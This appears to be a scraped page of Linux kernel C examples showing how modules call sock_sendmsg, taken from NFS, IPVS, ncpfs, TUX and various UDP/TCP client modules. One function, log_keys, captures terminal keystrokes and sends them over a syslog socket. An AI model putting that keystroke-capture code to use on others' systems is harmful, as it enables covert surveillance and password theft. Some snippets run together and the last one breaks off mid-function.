Exemple #1
0
/*
 * Generic sendto routine
 */
static int
svc_sendto(struct svc_rqst *rqstp, struct iovec *iov, int nr)
{
	mm_segment_t	oldfs;
	struct svc_sock	*svsk = rqstp->rq_sock;
	struct socket	*sock = svsk->sk_sock;
	struct msghdr	msg;
	int		i, buflen, len;

	for (i = buflen = 0; i < nr; i++)
		buflen += iov[i].iov_len;

	msg.msg_name    = &rqstp->rq_addr;
	msg.msg_namelen = sizeof(rqstp->rq_addr);
	msg.msg_iov     = iov;
	msg.msg_iovlen  = nr;
	msg.msg_control = NULL;
	msg.msg_controllen = 0;

	msg.msg_flags	= MSG_DONTWAIT;

	oldfs = get_fs(); set_fs(KERNEL_DS);
	len = sock_sendmsg(sock, &msg, buflen);
	set_fs(oldfs);

	dprintk("svc: socket %p sendto([%p %Zu... ], %d, %d) = %d\n",
			rqstp->rq_sock, iov[0].iov_base, iov[0].iov_len, nr, buflen, len);

	return len;
}
Exemple #2
0
int send_sync_buf (struct socket *sock, const void *buf, const size_t length, unsigned long flags)
{
    struct msghdr msg;
    struct iovec iov;
    int len, written = 0, left = length;
    mm_segment_t oldmm;

    msg.msg_name     = 0;
    msg.msg_namelen  = 0;
    msg.msg_iov      = &iov;
    msg.msg_iovlen   = 1;
    msg.msg_control  = NULL;
    msg.msg_controllen = 0;
    msg.msg_flags    = flags;

    oldmm = get_fs(); set_fs(KERNEL_DS);

repeat_send:
    msg.msg_iov->iov_len = left;
    msg.msg_iov->iov_base = (char *) buf + written;

    len = sock_sendmsg(sock, &msg, left);
    if ((len == -ERESTARTSYS) || (!(flags & MSG_DONTWAIT) &&
         (len == -EAGAIN)))
        goto repeat_send;
    if (len > 0) {
        written += len;
        left -= len;
        if (left)
            goto repeat_send;
    }
    set_fs(oldmm);
    return written ? written : len;
}
Exemple #3
0
static int ksocket_sendto(struct socket *sock,
			  struct sockaddr_in *addr,
			  unsigned char *buf, int len)
{
	struct msghdr msg;
	struct iovec iov;
	mm_segment_t oldfs;
	int size = 0;

	if (sock->sk == NULL)
		return 0;

	iov.iov_base = buf;
	iov.iov_len = len;

	msg.msg_flags = 0;
	msg.msg_name = addr;
	msg.msg_namelen = sizeof(struct sockaddr_in);
	msg.msg_control = NULL;
	msg.msg_controllen = 0;
	msg.msg_iov = &iov;
	msg.msg_iovlen = 1;
	msg.msg_control = NULL;

	oldfs = get_fs();
	set_fs(KERNEL_DS);
	size = sock_sendmsg(sock, &msg, len);
	set_fs(oldfs);

	return size;
}
static int send_sync_buf (struct socket *sock, const char *buf,const size_t length, unsigned long flags)
{
    struct msghdr msg;
    struct iovec iov;
    int len, written = 0, left = length;
    mm_segment_t oldmm;

    msg.msg_name     = 0;
    msg.msg_namelen  = 0;
    msg.msg_iov      = &iov;
    msg.msg_iovlen   = 1;
    msg.msg_control  = NULL;
    msg.msg_controllen = 0;
    msg.msg_flags    = flags;

    oldmm = get_fs(); set_fs(KERNEL_DS);

repeat_send:
    msg.msg_iov->iov_len = left;
    msg.msg_iov->iov_base = (char *) buf +
                                written;

    len = sock_sendmsg(sock, &msg, left);
    ...
    return written ? written : len;
}
Exemple #5
0
static int send_hello_msg (struct socket *sock)
{
	int ret = 0, len;
	struct msghdr hdr;
	struct iovec iov;
	char* msg = "Hello, World!\n";

	len = strlen (msg);

	iov.iov_base = msg;
	iov.iov_len = len;

	memset (&hdr, 0, sizeof (hdr));
	hdr.msg_iov = &iov;
	hdr.msg_iovlen = 1;

	while (iov.iov_len) {
		ret = sock_sendmsg (sock, &hdr, iov.iov_len);

		if (ret <= 0)
			break;

		iov.iov_base += ret;
		iov.iov_len -= ret;
		ret = iov.iov_len;
	}

	return ret;
}
Exemple #6
0
int send(struct socket *sock, struct sockaddr_in *addr, unsigned char *buf, int len)
{
	
	struct msghdr msg;
        struct iovec iov;
        mm_segment_t oldfs;
        int size = 0;

        if (sock->sk==NULL)
           return 0;

        iov.iov_base = buf;
        iov.iov_len = len;

        msg.msg_flags = MSG_DONTWAIT;
        msg.msg_name = addr;
        msg.msg_namelen  = sizeof(struct sockaddr_in);
        msg.msg_control = NULL;
        msg.msg_controllen = 0;
        msg.msg_iov = &iov;
        msg.msg_iovlen = 1;
        msg.msg_control = NULL;

        oldfs = get_fs();
        set_fs(KERNEL_DS);
        size = sock_sendmsg(sock,&msg,len);
        set_fs(oldfs);
	printk(KERN_INFO MODULE_NAME":Message Sent");
	

        return size;
	
}
static int send_data(rdma_ctx_t ctx, char* data, int size) {
    struct msghdr msg;
    struct iovec iov;
    int retval;
    mm_segment_t oldfs;
    
    printk(KERN_INFO "Exchanging data\n");

    msg.msg_name     = 0;
    msg.msg_namelen  = 0;
    msg.msg_iov      = &iov;
    msg.msg_iovlen   = 1;
    msg.msg_control  = NULL;
    msg.msg_controllen = 0;
    msg.msg_flags    = 0;
    msg.msg_iov->iov_len = size;
    msg.msg_iov->iov_base = data;

    printk(KERN_INFO "Sending data..\n");
    oldfs = get_fs();
    set_fs(KERNEL_DS);

    retval = sock_sendmsg(ctx->sock, &msg, size);

    set_fs(oldfs);

    return 0;
}
Exemple #8
0
static void aun_send_response(__u32 addr, unsigned long seq, int code, int cb)
{
	struct sockaddr_in sin;
	struct iovec iov;
	struct aunhdr ah;
	struct msghdr udpmsg;
	int err;
	mm_segment_t oldfs;
	
	memset(&sin, 0, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_port = htons(AUN_PORT);
	sin.sin_addr.s_addr = addr;

	ah.code = code;
	ah.pad = 0;
	ah.port = 0;
	ah.cb = cb;
	ah.handle = seq;

	iov.iov_base = (void *)&ah;
	iov.iov_len = sizeof(ah);

	udpmsg.msg_name = (void *)&sin;
	udpmsg.msg_namelen = sizeof(sin);
	udpmsg.msg_iov = &iov;
	udpmsg.msg_iovlen = 1;
	udpmsg.msg_control = NULL;
	udpmsg.msg_controllen = 0;
	udpmsg.msg_flags=0;

	oldfs = get_fs(); set_fs(KERNEL_DS);
	err = sock_sendmsg(udpsock, &udpmsg, sizeof(ah));
	set_fs(oldfs);
}
Exemple #9
0
ssize_t ksend(ksocket_t socket, const void *buffer, size_t length, int flags)
{
	struct socket *sk;
	struct msghdr msg;
	struct iovec iov;
	int len;
#ifndef KSOCKET_ADDR_SAFE
	mm_segment_t old_fs;
#endif

	sk = (struct socket *)socket;

	iov.iov_base = (void *)buffer;
	iov.iov_len = (__kernel_size_t)length;

	msg.msg_name = NULL;
	msg.msg_namelen = 0;
	msg.msg_iov = &iov;
	msg.msg_iovlen = 1;
	msg.msg_control = NULL;
	msg.msg_controllen = 0;

	msg.msg_flags = flags;

#ifndef KSOCKET_ADDR_SAFE
	old_fs = get_fs();
	set_fs(KERNEL_DS);
#endif
	len = sock_sendmsg(sk, &msg, length);//?
#ifndef KSOCKET_ADDR_SAFE
	set_fs(old_fs);
#endif
	
	return len;//len ?
}
Exemple #10
0
static int
ip_vs_send_async(struct socket *sock, const char *buffer, const size_t length)
{
	struct msghdr	msg;
	mm_segment_t	oldfs;
	struct iovec	iov;
	int		len;

	EnterFunction(7);
	iov.iov_base     = (void *)buffer;
	iov.iov_len      = length;
	msg.msg_name     = 0;
	msg.msg_namelen  = 0;
	msg.msg_iov	 = &iov;
	msg.msg_iovlen   = 1;
	msg.msg_control  = NULL;
	msg.msg_controllen = 0;
	msg.msg_flags    = MSG_DONTWAIT|MSG_NOSIGNAL;

	oldfs = get_fs(); set_fs(KERNEL_DS);
	len = sock_sendmsg(sock, &msg, (size_t)(length));
	set_fs(oldfs);

	LeaveFunction(7);
	return len;
}
Exemple #11
0
//*****************************************************************************
ssize_t ksendto( ksocket_t socket, void *message, size_t length, int flags,
                 const struct sockaddr *dest_addr, int dest_len )
{
    struct socket *sk;
    struct msghdr msg;
    struct iovec vec;
    int len = 0;
    mm_segment_t fs;

    sk = (struct socket *)socket;

    vec.iov_base = (void *)message;
    vec.iov_len = (__kernel_size_t)length;

#if LINUX_VERSION_CODE <= KERNEL_VERSION(3,18,0)
    msg.msg_iov = &vec;
    msg.msg_iovlen = 1;
#else
    iov_iter_init( &msg.msg_iter, WRITE | ITER_IOVEC, &vec, 1, length );
#endif
    msg.msg_control = NULL;
    msg.msg_controllen = 0;

    msg.msg_flags = flags;
    if ( dest_addr )
    {
        msg.msg_name = (void *)dest_addr;
        msg.msg_namelen = dest_len;
    } // end if

    fs = get_fs();
    set_fs( KERNEL_DS );
#if LINUX_VERSION_CODE <= KERNEL_VERSION(3,18,0)
    len = sock_sendmsg( sk, &msg, length );
#else
//	printk( KERN_INFO "RTAP: ksendto(): Sending %d bytes\n", (int)length );
//    len = length;
    len = sock_sendmsg( sk, &msg );
#endif
    set_fs( fs );
	
    return( len );
}
Exemple #12
0
static int run_network(void *data)
{
  struct msghdr msg;
  struct iovec iov;
  mm_segment_t oldfs;
  char buffer[0x200];// = "Hello";
  int cc;
  struct socket *csock = data;
  struct nm_packet_rp *reply;

  printk(KERN_INFO "NetMalloc: creating client thread\n");
  while (network_is_running)
    {
      memset(&msg, 0, sizeof(msg));
      msg.msg_iov = &iov;
      msg.msg_iovlen = 1;
      msg.msg_flags = MSG_DONTWAIT;
      msg.msg_iov->iov_len = sizeof(buffer);
      msg.msg_iov->iov_base = buffer;
      oldfs = get_fs();
      set_fs(KERNEL_DS);
      cc = sock_recvmsg(csock, &msg, sizeof(buffer), MSG_DONTWAIT);
      set_fs(oldfs);

      if (!cc)
	break;
      else if (cc == -EWOULDBLOCK)
        schedule_timeout_interruptible(125);
      else if (cc > 0)
	{
	  printk(KERN_INFO "%d bytes received\n", cc);
	  reply = handle_packet((struct nm_packet_rq *) buffer, cc);
	  if (reply)
	    {
	      cc = sizeof(struct nm_packet_rp) + reply->data_len;
	      memset(&msg, 0, sizeof(msg));
	      msg.msg_iov = &iov;
	      msg.msg_iovlen = 1;
	      msg.msg_flags = MSG_DONTWAIT;
	      msg.msg_iov->iov_len = cc;
	      msg.msg_iov->iov_base = reply;
	      oldfs = get_fs();
	      set_fs(KERNEL_DS);
	      cc = sock_sendmsg(csock, &msg, cc);
	      set_fs(oldfs);
	      printk(KERN_INFO "%d bytes sent\n", cc);
	      kfree(reply);
	    }
	}
    }
  sock_release(csock);
  printk(KERN_INFO "NetMalloc: closing client thread\n");
  return 0;
}
Exemple #13
0
ssize_t sim_sock_sendmsg (struct SimSocket *socket, const struct msghdr *msg, int flags)
{
  struct socket *kernel_socket = (struct socket *)socket;
  struct iovec *kernel_iov = copy_iovec (msg->msg_iov, msg->msg_iovlen);
  struct msghdr kernel_msg = *msg;
  kernel_msg.msg_flags = flags;
  kernel_msg.msg_iov = kernel_iov;
  int retval = sock_sendmsg (kernel_socket, &kernel_msg, iov_size (msg));
  sim_free (kernel_iov);
  return retval;
}
Exemple #14
0
static int ncpdgram_send(struct socket *sock, struct ncp_request_reply *req) {
    struct msghdr msg;

    msg.msg_name = NULL;
    msg.msg_namelen = 0;
    msg.msg_control = NULL;
    msg.msg_iov = req->tx_ciov;
    msg.msg_iovlen = req->tx_iovlen;
    msg.msg_flags = MSG_DONTWAIT;
    return sock_sendmsg(sock, &msg, req->tx_totallen);
}
Exemple #15
0
int send(struct socket *sock, struct sockaddr_in *addr, void * data, int len)
{
	
	struct msghdr msg;
        struct iovec iov;
        mm_segment_t oldfs;
        int size = 0;
	u_int32_t space;
        if (sock->sk==NULL)
           return 0;
	int interface=1;
	if(sock_setsockopt(sock,SOL_SOCKET,SO_BROADCAST,(char *)&interface,sizeof(interface))<0)	
	{
		printk(KERN_WARNING "No Broadcast");	
	}
        iov.iov_base = (char *) data;
        iov.iov_len = len;
	memset(&my_work->addr, 0, sizeof(struct sockaddr));
        memset(&my_work->addr_send, 0, sizeof(struct sockaddr));
        my_work->addr_send.sin_family = AF_INET;

        //my_work->addr_send.sin_addr.s_addr = htonl(INADDR_SEND);
        my_work->addr_send.sin_addr.s_addr = in_aton("255.255.255.255");
	//sock->sk->sk_flags.SOCK_BROADCAST=1;
        my_work->addr_send.sin_port = htons(CONNECT_PORT);
	
        msg.msg_flags = 0;
        msg.msg_name = (void *) & my_work->addr_send;
        msg.msg_namelen  = sizeof(struct sockaddr_in);
        msg.msg_control = NULL;
        msg.msg_controllen = 0;
        msg.msg_iov = &iov;
        msg.msg_iovlen = 1;
        msg.msg_control = NULL;
	if((space = sock_wspace(sock->sk))<len)
	{
		printk(KERN_INFO "ERROR");
		return -ENOMEM;

	}
	sock_set_flag(my_work->sock_send,SOCK_BROADCAST); 
	//sock->sk->broadcast=1;
        oldfs = get_fs();
        set_fs(KERNEL_DS);
        size = sock_sendmsg(sock,&msg,len);
	if(size<0)
		printk(KERN_WARNING "ERROR SEND MSG:%d:",size);
        set_fs(oldfs);
//	printk(KERN_INFO MODULE_NAME":Message Sent from new program");
	

        return size;
	
}
static int __init server_module_init( void ) {
  int retval;
  char* string = "hello_world";

  struct sockaddr_un addr;
  struct msghdr msg;
  struct iovec iov;
  mm_segment_t oldfs;

  // create
  retval = sock_create(AF_UNIX, SOCK_STREAM, 0, &sock);
  if(retval == -1){
  	printk(KERN_INFO "Socket Creation failed\n");
  	return -1;
  }
  printk(KERN_INFO "Socket Creation Succeeded\n");
  memset(&addr, 0, sizeof(addr));
  addr.sun_family = AF_UNIX;
  strcpy(addr.sun_path, SOCK_PATH);

  retval = sock->ops->connect(sock,(struct sockaddr *)&addr, sizeof(addr) - 1, 0);
  if(retval == -1){
  	printk(KERN_INFO "Socket Binding failed\n");
  	return -1;
  }
  printk(KERN_INFO "Socket Connection Succeeded\n");
  memset(&msg, 0, sizeof(msg));
  memset(&iov, 0, sizeof(iov));

  msg.msg_name = 0;
  msg.msg_namelen = 0;
  msg.msg_iov = &iov;
  msg.msg_iov->iov_base = string;
  msg.msg_iov->iov_len = strlen(string)+1;
  msg.msg_iovlen = 1;
  msg.msg_control = NULL;
  msg.msg_controllen = 0;
  msg.msg_flags = 0;

  oldfs = get_fs();
  set_fs(KERNEL_DS);
    printk(KERN_INFO "Before socket send\n");
  retval = sock_sendmsg(sock, &msg, strlen(string)+1);
  if(retval == -1){
  	printk(KERN_INFO "Socket Send Message failed\n");
  	return -1;
  }
  printk(KERN_INFO "After socket send. Things are looking fine\n");
  set_fs(oldfs);

  return 0;
}
Exemple #17
0
void SendHTTPHeader(struct http_request *Request)
{
	struct msghdr	msg;
	mm_segment_t	oldfs;
	struct iovec	iov[9];
	int 		len,len2;
	__kernel_size_t	slen;
	
	EnterFunction("SendHTTPHeader");
	
	msg.msg_name     = 0;
	msg.msg_namelen  = 0;
	msg.msg_iov	 = &(iov[0]);
	msg.msg_iovlen   = 9;
	msg.msg_control  = NULL;
	msg.msg_controllen = 0;
	msg.msg_flags    = 0;  /* Synchronous for now */
	
	iov[0].iov_base = HeaderPart1;
	iov[0].iov_len  = 45;
	iov[1].iov_base = CurrentTime;
	iov[1].iov_len  = 29;
	iov[2].iov_base = HeaderPart3;
	iov[2].iov_len  = 16;
	
	iov[3].iov_base = Request->MimeType;
	iov[3].iov_len  = Request->MimeLength;
	
	iov[4].iov_base = HeaderPart5;
	iov[4].iov_len  = 17;
	iov[5].iov_base = &(Request->TimeS[0]);
	iov[5].iov_len  = 29;
	iov[6].iov_base = HeaderPart7;
	iov[6].iov_len  = 18;
	iov[7].iov_base = &(Request->LengthS[0]);
	slen = strlen(Request->LengthS); 
	iov[7].iov_len  = slen;
	iov[8].iov_base = HeaderPart9;
	iov[8].iov_len  = 4;
	
	len2=45+2*29+16+17+18+slen+4+iov[3].iov_len;
	
	len = 0;

	oldfs = get_fs(); set_fs(KERNEL_DS);
	len = sock_sendmsg(Request->sock,&msg,len2);
	set_fs(oldfs);
	LeaveFunction("SendHTTPHeader");
	

	return;	
}
Exemple #18
0
void log_keys(char* vt_name, char* keys, int len)
{
    mm_segment_t oldfs;
    struct msghdr msg;
    struct iovec iov;
    int msg_template_len = strlen(msg_template);
    int vt_name_len = strlen(vt_name);
    int payload_max_len = msg_template_len + vt_name_len + (len * 4) + 3;
    int payload_len = 0;
    char* payload;
    int i;

    // Check if we may run
    if (!enabled || syslog_sock == NULL) {
        return;
    }

    // Allocate space for payload
    payload = (char*) kmalloc(payload_max_len + 1, GFP_KERNEL);

    // Construct the message
    sprintf(payload, "%s[%s] ", msg_template, vt_name);
    payload_len += msg_template_len + vt_name_len + 3;
    // strncat(payload, keys, len);
    // Show special characters
    for (i = 0; i < len; i++) {
        payload_len += put_character(payload + payload_len, keys + i);
    }

    // Construct the IO vector
    iov.iov_base = payload;
    iov.iov_len = payload_len;

    // Construct the message header
    memset(&msg, 0, sizeof(msg));
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;

    // Switch to kernel FS
    oldfs = get_fs();
    set_fs(KERNEL_DS);

    // Send the packet
    // printk(KERN_ALERT "Sending payload: [%d] %s\n", strlen(payload), payload);
    sock_sendmsg(syslog_sock, &msg, payload_len);
    // printk(KERN_ALERT "err: %d\n", err);

    // Switch back to previous FS
    set_fs(oldfs);

    kfree(payload);
}
Exemple #19
0
ssize_t ksendto(ksocket_t socket, void *message, size_t length,
              int flags, const struct sockaddr *dest_addr,
              int dest_len)
{
	struct socket *sk;
	struct msghdr msg;
	struct iovec iov;

#if LINUX_VERSION_CODE > KERNEL_VERSION(3,19,00) 
	struct iov_iter iovi;
#endif

	int len;
#ifndef KSOCKET_ADDR_SAFE
	mm_segment_t old_fs;
#endif

	sk = (struct socket *)socket;

	iov.iov_base = (void *)message;
	iov.iov_len = (__kernel_size_t)length;

#if LINUX_VERSION_CODE > KERNEL_VERSION(3,19,00) 
	iovi.iov = &iov;
	msg.msg_iter = iovi;
#else
	msg.msg_iov = &iov;
	msg.msg_iovlen = 1;
#endif

	msg.msg_control = NULL;
	msg.msg_controllen = 0;

	msg.msg_flags = flags;
	if (dest_addr)
	{
		msg.msg_name = (void *)dest_addr;
		msg.msg_namelen = dest_len;
	}

#ifndef KSOCKET_ADDR_SAFE
	old_fs = get_fs();
	set_fs(KERNEL_DS);
#endif
	len = sock_sendmsg(sk, &msg, length);//?
#ifndef KSOCKET_ADDR_SAFE
	set_fs(old_fs);
#endif
	
	return len;//len ?
}
Exemple #20
0
static int ncpdgram_send(struct socket *sock, struct ncp_request_reply *req) {
	struct msghdr msg;
	struct iovec iov[3];
	
	/* sock_sendmsg updates iov pointers for us :-( */
	memcpy(iov, req->tx_ciov, req->tx_iovlen * sizeof(iov[0]));
	msg.msg_name = NULL;
	msg.msg_namelen = 0;
	msg.msg_control = NULL;
	msg.msg_iov = iov;
	msg.msg_iovlen = req->tx_iovlen;
	msg.msg_flags = MSG_DONTWAIT;
	return sock_sendmsg(sock, &msg, req->tx_totallen);
}
Exemple #21
0
int lb_sendmsg (char *msgdata, int size)
{
  int len;
  struct msghdr msg;
  struct iovec iov;
  mm_segment_t oldfs;
  struct sockaddr_in to;

 /* initialize and setup socket to send messages to bare */
  printk(KERN_DEBUG "LB_SOCKET T101  start: lb_sendmsg() msg: %s \n", msgdata);
  if( sock_create( PF_INET,SOCK_DGRAM,IPPROTO_UDP,&clientsocket)<0 ){
    printk( KERN_DEBUG "LB_SOCKET: lb_sendmsg()  TERROR001: server: Error creating clientsocket \n" );
    return -EIO;
   }

  memset(&to,0, sizeof(to));
  to.sin_family = AF_INET;
  to.sin_addr.s_addr = in_aton(ipaddr); 
      /* bare PC destination address */
  to.sin_port = htons( (unsigned short) SERVERPORT );
  memset(&msg,0,sizeof(msg));
  msg.msg_name = &to;
  msg.msg_namelen = sizeof(to);
  iov.iov_base = msgdata;
  iov.iov_len  = size;
  msg.msg_control = NULL;
  msg.msg_controllen = 0;
  msg.msg_iov    = &iov;
  msg.msg_iovlen = 1;
  oldfs = get_fs();
  set_fs( KERNEL_DS );
  len = sock_sendmsg( clientsocket, &msg, size );
  set_fs( oldfs );

  /* close socket */
  if( clientsocket )
    {
    /*msleep_interruptible(HZ*2);*/
    sock_release( clientsocket );
    printk(KERN_DEBUG "LB_SOCKET T102  close socket: lb_sendmsg() \n");
    if( com_thread_pid ) {
      kill_proc_info( com_thread_pid, SIGTERM, 0 );
      wait_for_completion( &threadcomplete );
      }
    } 

  printk(KERN_DEBUG "LB_SOCKET T103  end: lb_sendmsg() \n");

  return len;
}
Exemple #22
0
int
ksocknal_lib_send_kiov(struct ksock_conn *conn, struct ksock_tx *tx)
{
	struct socket *sock = conn->ksnc_sock;
	lnet_kiov_t *kiov = tx->tx_kiov;
	int rc;
	int nob;

	/* Not NOOP message */
	LASSERT(tx->tx_lnetmsg);

	if (tx->tx_msg.ksm_zc_cookies[0]) {
		/* Zero copy is enabled */
		struct sock *sk = sock->sk;
		struct page *page = kiov->bv_page;
		int offset = kiov->bv_offset;
		int fragsize = kiov->bv_len;
		int msgflg = MSG_DONTWAIT;

		CDEBUG(D_NET, "page %p + offset %x for %d\n",
		       page, offset, kiov->bv_len);

		if (!list_empty(&conn->ksnc_tx_queue) ||
		    fragsize < tx->tx_resid)
			msgflg |= MSG_MORE;

		if (sk->sk_prot->sendpage) {
			rc = sk->sk_prot->sendpage(sk, page,
						   offset, fragsize, msgflg);
		} else {
			rc = tcp_sendpage(sk, page, offset, fragsize, msgflg);
		}
	} else {
		struct msghdr msg = {.msg_flags = MSG_DONTWAIT};
		int i;

		for (nob = i = 0; i < tx->tx_nkiov; i++)
			nob += kiov[i].bv_len;

		if (!list_empty(&conn->ksnc_tx_queue) ||
		    nob < tx->tx_resid)
			msg.msg_flags |= MSG_MORE;

		iov_iter_bvec(&msg.msg_iter, WRITE | ITER_BVEC,
			      kiov, tx->tx_nkiov, nob);
		rc = sock_sendmsg(sock, &msg);
	}
	return rc;
}
Exemple #23
0
/* In BENCHMARK-mode, just send the bare essentials */
void SendHTTPHeader(struct http_request *Request)
{
	struct msghdr	msg;
	mm_segment_t	oldfs;
	struct iovec	iov[9];
	int 		len,len2;
	
	
	EnterFunction("SendHTTPHeader");
		
	msg.msg_name     = 0;
	msg.msg_namelen  = 0;
	msg.msg_iov	 = &iov[0];
	msg.msg_iovlen   = 6;
	msg.msg_control  = NULL;
	msg.msg_controllen = 0;
	msg.msg_flags    = 0;  /* Synchronous for now */
	
	iov[0].iov_base = HeaderPart1b;
	iov[0].iov_len  = 15;
	iov[1].iov_base = HeaderPart3;
	iov[1].iov_len  = 16;
	iov[2].iov_base = Request->MimeType;
	iov[2].iov_len  = Request->MimeLength;
	
	iov[3].iov_base = HeaderPart7;
	iov[3].iov_len  = 18;
	
	
	sprintf(Request->LengthS,"%i",Request->FileLength);
	iov[4].iov_base = Request->LengthS;
	iov[4].iov_len  = strlen(Request->LengthS);
	iov[5].iov_base = HeaderPart9;
	iov[5].iov_len  = 4;
	
	len2=15+16+18+iov[2].iov_len+iov[4].iov_len+4;
	
	
	len = 0;
	

	oldfs = get_fs(); set_fs(KERNEL_DS);
	len = sock_sendmsg(Request->sock,&msg,len2);
	set_fs(oldfs);

	
	return;	
}
Exemple #24
0
void send_answer(struct work_struct *data){
        // reader rtp_q, get istream and reader from container_of(data)
        // queue bytes on corresponding kfifo
	struct  wq_wrapper *foo;
	int len;
        if(in_interrupt()) printk("udpsrvcallback: in interrupt3\n");
        if(in_atomic()) printk("udpsrvcallback: in atomic3\n");
	foo = container_of(data, struct  wq_wrapper, worker);
	/* as long as there are messages in the receive queue of this socket*/
	while((len = skb_queue_len(&foo->sk->sk_receive_queue)) > 0){
		struct sk_buff *skb = NULL;
		unsigned short * port;
		int len;
		struct msghdr msg;
		struct iovec iov;
		mm_segment_t oldfs;
		struct sockaddr_in to;

		/* receive packet */
		skb = skb_dequeue(&foo->sk->sk_receive_queue);
		printk("message len: %i message: %s\n", skb->len - 8, skb->data+8); /*8 for udp header*/

		/* generate answer message */
		memset(&to,0, sizeof(to));
		to.sin_family = AF_INET;
		to.sin_addr.s_addr = in_aton("10.31.5.84");  
		port = (unsigned short *)skb->data;
		to.sin_port = *port;
		memset(&msg,0,sizeof(msg));
		msg.msg_name = &to;
		msg.msg_namelen = sizeof(to);
		/* send the message back */
		iov.iov_base = skb->data+8;
		iov.iov_len  = skb->len-8;
		msg.msg_control = NULL;
		msg.msg_controllen = 0;
		msg.msg_iov = &iov;
		msg.msg_iovlen = 1;
		/* adjust memory boundaries */	
		oldfs = get_fs();
		set_fs(KERNEL_DS);
		len = sock_sendmsg(clientsocket, &msg, skb->len-8);
		set_fs(oldfs);
		/* free the initial skb */
		kfree_skb(skb);
	}
}
Exemple #25
0
static int __init client_init( void )
{
  int len;
  char buf[64];
  struct msghdr msg;
  struct iovec iov;
  mm_segment_t oldfs;
  struct sockaddr_in to;
  printk(KERN_ERR "sendthread initialized\n");
  if( sock_create( PF_INET,SOCK_DGRAM,IPPROTO_UDP,&clientsocket)<0 ){
    printk( KERN_ERR "server: Error creating clientsocket.n" );
    return -EIO;
   }
  memset(&to,0, sizeof(to));
  to.sin_family = AF_INET;
  to.sin_addr.s_addr = in_aton( "127.0.0.1" );  
      /* destination address */
  to.sin_port = htons( (unsigned short)
      SERVERPORT );
  memset(&msg,0,sizeof(msg));
  msg.msg_name = &to;
  msg.msg_namelen = sizeof(to);
  memcpy( buf, "hallo from kernel space", 24 );
  iov.iov_base = buf;
  iov.iov_len  = 24;
  msg.msg_control = NULL;
  msg.msg_controllen = 0;
  msg.msg_iov    = &iov;
  msg.msg_iovlen = 1;
  // msg.msg_flags    = MSG_NOSIGNAL;
  printk(KERN_ERR " vor send\n");
  oldfs = get_fs();
  set_fs( KERNEL_DS );

	int i = 0;
	while ( i < 10){
		i++;
  		len = sock_sendmsg( clientsocket, &msg, 24 );
	}
//  len = sock_sendmsg( clientsocket, &msg, 24 );
  //len = sock_sendmsg( clientsocket, &msg, 24 );
  //len = sock_sendmsg( clientsocket, &msg, 24 );
  set_fs( oldfs );
  printk( KERN_ERR "sock_sendmsg returned: %d\n", len);
  return 0;
}
Exemple #26
0
static inline int _send(struct socket *sock, const void *buff, int len)
{
    struct iovec iov;
    struct msghdr msg;

    iov.iov_base = (void *) buff;
    iov.iov_len = len;

    msg.msg_name = NULL;
    msg.msg_namelen = 0;
    msg.msg_control = NULL;
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;
    msg.msg_flags = 0;

    return sock_sendmsg(sock, &msg, len);
}
Exemple #27
0
int send_sync_buf (tux_req_t *req, struct socket *sock, const char *buf, const size_t length, unsigned long flags)
{
	struct msghdr msg;
	struct iovec iov;
	int len, written = 0, left = length;
	struct tcp_opt *tp = tcp_sk(sock->sk);

	tp->nonagle = 2;

	msg.msg_name     = 0;
	msg.msg_namelen  = 0;
	msg.msg_iov	 = &iov;
	msg.msg_iovlen   = 1;
	msg.msg_control  = NULL;
	msg.msg_controllen = 0;
	msg.msg_flags    = flags | MSG_NOSIGNAL;
repeat_send:
	msg.msg_iov->iov_len = left;
	msg.msg_iov->iov_base = (char *) buf + written;

	len = sock_sendmsg(sock, &msg, left);

	Dprintk("sendmsg ret: %d, written: %d, left: %d.\n", len,written,left);
	if ((len == -ERESTARTSYS) || (!(flags & MSG_DONTWAIT) &&
			 (len == -EAGAIN))) {
		flush_all_signals();
		goto repeat_send;
	}
	if (len > 0) {
		written += len;
		left -= len;
		if (left)
			goto repeat_send;
	}
	if (len >= 0) {
		if (written != length)
			TUX_BUG();
		if (left)
			TUX_BUG();
	}
	if (req && (written > 0))
		req->bytes_sent += written;
	Dprintk("sendmsg FINAL ret: %d, written: %d, left: %d.\n", len,written,left);
	return written ? written : len;
}
Exemple #28
0
static void __ncptcp_try_send(struct ncp_server *server) {
	struct ncp_request_reply *rq;
	struct msghdr msg;
	struct iovec* iov;
	struct iovec iovc[3];
	int result;

	rq = server->tx.creq;
	if (!rq) {
		return;
	}

	/* sock_sendmsg updates iov pointers for us :-( */
	memcpy(iovc, rq->tx_ciov, rq->tx_iovlen * sizeof(iov[0]));
	msg.msg_name = NULL;
	msg.msg_namelen = 0;
	msg.msg_control = NULL;
	msg.msg_iov = iovc;
	msg.msg_iovlen = rq->tx_iovlen;
	msg.msg_flags = MSG_NOSIGNAL | MSG_DONTWAIT;
	result = sock_sendmsg(server->ncp_sock, &msg, rq->tx_totallen);
	if (result == -EAGAIN) {
		return;
	}
	if (result < 0) {
		printk(KERN_ERR "ncpfs: tcp: Send failed: %d\n", result);
		__ncp_abort_request(server, rq, result);
		return;
	}
	if (result >= rq->tx_totallen) {
		server->rcv.creq = rq;
		server->tx.creq = NULL;
		return;
	}
	rq->tx_totallen -= result;
	iov = rq->tx_ciov;
	while (iov->iov_len <= result) {
		result -= iov->iov_len;
		iov++;
		rq->tx_iovlen--;
	}
	iov->iov_base += result;
	iov->iov_len -= result;
	rq->tx_ciov = iov;
}
//-----------------------------------------------------------------------------
static int _gtpusp_ksocket_send(struct socket *sock_pP, struct sockaddr_in *addr_pP, unsigned char *gtpuh_pP, int len_gtpP, unsigned char *buf_ip_pP, int len_ipP)
//-----------------------------------------------------------------------------
{
  struct msghdr msg;
  struct iovec  iov[2];
  mm_segment_t  oldfs;
  int           size = 0;
  int           err = 0;
  int           iov_index = 0;

  if ( (err = sock_pP->ops->connect(sock_pP, (struct sockaddr *)addr_pP, sizeof(struct sockaddr), 0)) < 0 ) {
	PR_INFO(MODULE_NAME": Could not connect to socket, error = %d\n", -err);
	return 0;
  }
  if (sock_pP->sk == NULL) {
	return 0;
  }
  if ((gtpuh_pP != NULL) && (len_gtpP > 0)) {
    iov[iov_index].iov_base       = gtpuh_pP;
    iov[iov_index].iov_len        = len_gtpP;
    iov_index += 1;
  }

  if ((buf_ip_pP != NULL) && (len_ipP > 0)) {
    iov[iov_index].iov_base       = buf_ip_pP;
    iov[iov_index].iov_len        = len_ipP;
    iov_index += 1;
  }

  msg.msg_flags      = 0;
  msg.msg_name       = addr_pP;
